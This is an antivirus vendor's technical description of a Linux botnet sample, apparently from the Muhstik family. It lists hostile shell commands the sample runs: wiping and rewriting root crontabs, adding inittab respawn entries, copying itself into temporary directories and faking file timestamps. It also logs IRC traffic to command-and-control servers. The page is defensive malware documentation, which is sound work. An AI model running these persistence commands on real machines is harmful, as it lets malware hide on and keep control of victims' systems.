JavaScript support is required for our site to be fully operational in your browser.
Linux.Siggen.1891
Added to the Dr.Web virus database:
2019-06-30
Virus description added:
2019-06-29
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/etc/inittab
/var/spool/cron/crontabs/root
/etc/rc.local
Malicious functions:
Substitutes application name for:
aff6mh45l8f26dp5tmtptnqk8t84
Modifies router settings:
Launches processes:
sh -c cat /etc/inittab | grep -v \"<SAMPLE_FULL_PATH>\" > /etc/inittab2
sh -c crontab -r
sh -c crontab -l | grep <SAMPLE_FULL_PATH> || (crontab -l ; echo \"* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
crontab -r
crontab -l
grep <SAMPLE_FULL_PATH>
cat /etc/inittab
grep -v <SAMPLE_FULL_PATH>
sh -c echo \"0:2345:respawn:<SAMPLE_FULL_PATH>\" >> /etc/inittab2
sh -c cat /etc/inittab2 > /etc/inittab
crontab -
cat /etc/inittab2
sh -c rm -rf /etc/inittab2
rm -rf /etc/inittab2
sh -c touch -acmr /bin/ls /etc/inittab
touch -acmr /bin/ls /etc/inittab
sh -c cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
sh -c /bin/uname -n
sh -c nvram get router_name
/bin/uname -n
cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
sh -c cat /etc/inittab | grep -v \"/dev/shm/<SAMPLE>\" > /etc/inittab2
sh -c crontab -l | grep /dev/shm/<SAMPLE> || (crontab -l ; echo \"* * * * * /dev/shm/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
grep /dev/shm/<SAMPLE>
grep -v /dev/shm/<SAMPLE>
sh -c echo \"0:2345:respawn:/dev/shm/<SAMPLE>\" >> /etc/inittab2
sh -c cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
sh -c cat /etc/inittab | grep -v \"/var/tmp/<SAMPLE>\" > /etc/inittab2
sh -c crontab -l | grep /var/tmp/<SAMPLE> || (crontab -l ; echo \"* * * * * /var/tmp/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
grep -v /var/tmp/<SAMPLE>
grep /var/tmp/<SAMPLE>
sh -c echo \"0:2345:respawn:/var/tmp/<SAMPLE>\" >> /etc/inittab2
sh -c cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
sh -c cat /etc/inittab | grep -v \"/var/lock/<SAMPLE>\" > /etc/inittab2
sh -c crontab -l | grep /var/lock/<SAMPLE> || (crontab -l ; echo \"* * * * * /var/lock/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
grep /var/lock/<SAMPLE>
grep -v /var/lock/<SAMPLE>
sh -c echo \"0:2345:respawn:/var/lock/<SAMPLE>\" >> /etc/inittab2
sh -c cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
sh -c cat /etc/inittab | grep -v \"/var/run/<SAMPLE>\" > /etc/inittab2
sh -c crontab -l | grep /var/run/<SAMPLE> || (crontab -l ; echo \"* * * * * /var/run/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
grep -v /var/run/<SAMPLE>
grep /var/run/<SAMPLE>
sh -c echo \"0:2345:respawn:/var/run/<SAMPLE>\" >> /etc/inittab2
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.sRIK0H
/var/spool/cron/crontabs/tmp.EJ4iTf
/var/spool/cron/crontabs/tmp.UBMdRU
/var/spool/cron/crontabs/tmp.kdErGe
/var/spool/cron/crontabs/tmp.8uu5mK
Creates or modifies files:
/tmp/.bawtz
/etc/inittab2
/var/spool/cron/crontabs/tmp.sRIK0H
/dev/shm/<SAMPLE>
/var/spool/cron/crontabs/tmp.EJ4iTf
/var/tmp/<SAMPLE>
/var/spool/cron/crontabs/tmp.UBMdRU
/var/lock/<SAMPLE>
/run/lock/<SAMPLE>
/var/spool/cron/crontabs/tmp.kdErGe
/var/run/<SAMPLE>
/run/<SAMPLE>
/var/spool/cron/crontabs/tmp.8uu5mK
Deletes files:
Locks files:
Network activity:
Awaits incoming connections on ports:
Connects to the following servers over the IRC protocol:
Server: 46.##9.233.35; Command: NICK A6|b|0|5371821|unknown\nUSER muhstik localhost localhost :muhstik-11052018\n
Server: 46.##9.233.35; Command: PONG :5DD9A371\n
Server: 18#.#1.149.22; Command: NICK A6|b|0|5371821|unknown\nUSER muhstik localhost localhost :muhstik-11052018\n
Server: 18#.#1.149.22; Command: PONG :AA88DD27\n
Server: 18#.#1.149.22; Command: MODE A6|b|0|5371821|unknown -xi\n
Server: 18#.#1.149.22; Command: JOIN #ea :8974\n
Server: 18#.#1.149.22; Command: WHO A6|b|0|5371821|unknown\n
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
Download Dr.Web for Android
Free three-month trial
All protection features available
Renew your trial license in AppGallery/on Google Pay
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK